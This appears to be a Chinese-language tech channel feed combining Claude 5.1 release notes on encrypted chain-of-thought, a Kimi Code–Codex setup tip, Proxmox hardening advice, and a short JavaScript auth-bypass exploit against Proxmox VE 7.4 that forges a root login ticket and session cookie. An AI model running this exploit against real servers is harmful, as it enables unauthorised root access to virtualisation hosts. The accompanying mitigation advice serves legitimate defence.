HAT's Public Channel | 🫪

1. (最大变更) Fable 5.1 加强了奇技淫巧 “解密” 思维链门槛 a) Fable 5.1 可以读取 Claude Opus 5、Claude Fable 5、Claude Mythos 5 以及更早的 Claude 模型中的加密思维链 b) 更高级的 Mythos 5.1 和 Fable 5.1 自身可以读取 Fable 5.1 的思维链，但其他模型都无法读取 c) 新的思维链加密签名算法会针对 “所有历史记录” 进行 checksum, 如果手动编辑了历史记录，那么最新的思维链签名将会失效 TL;DR: 也就是说从此之后 A\ 只允许新的、先进的模型读取旧模型的思维链，以防被跨模型蒸馏。 2. 输入输出价格相同，缓存读取成本降低至 1/4 ($1/M -> $0.25/M) 3. Claude Mythos 5.1 也同步发布，但仍需申请 Project Glasswing

// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

Kimi Code 现已支持 Responses API，即刻在 Codex 中体验 Kimi 为了满足大家对 Codex 的需求，Kimi Code 服务端已原生支持 OpenAI Responses API（流式/非流式、reasoning、function calling 均可用），Codex CLI 可以通过自定义 model provider 直连 Kimi Code，无需任何本地路由或协议转换工具。(Codex桌面端与Codex CLI配置底层逻辑一致 ) 如何将 Kimi Code 模型接入 Codex，详见具体配置方法文档 👉 https://www.kimi.com/code/docs/third-party-tools/codex.html ⚠️ 使用 Codex 桌面 App 时还需要一步： 从 Dock 或访达启动的 App 读不到终端里的环境变量，需要把 Key 注入当前用户会话。在终端执行： launchctl setenv KIMI_API_KEY "sk-kimi-你的key" 执行后完全退出桌面 App（Cmd+Q）再重新打开，才会生效。注意：该变量在重启电脑后失效，需要重新执行。 Windows 没有这一步——setx 写入的是系统环境变量，重启 App 即可。 【信源：Kimi Code 官方飞书群】

操作建议: 1) 立即停止将任何 PVE WebUI / WebAPI (8006) / SSH 直接暴露公网； 2) 如一定需要暴露公网，也尽可能利用 VPN (e.g. Tailscale) / SD-WAN / Cloudflare Zero-Trust (One) 为 PVE WebUI 增加二层防护 (或者最简单的: 加个 basic auth)；在 sshd config 中也禁止使用密码登录； 3) 哪怕 PVE 仅部署在内网，也请配置好 IP-ACL Rule； 4) PVE <=8 已正式 EOL，无论如何都请更新到 PVE 9； 5) 非常建议 PVE9 也采取以上安全措施建议； 6) 近期在运维时需要投入更多精力关注 PVE 相关补丁更新。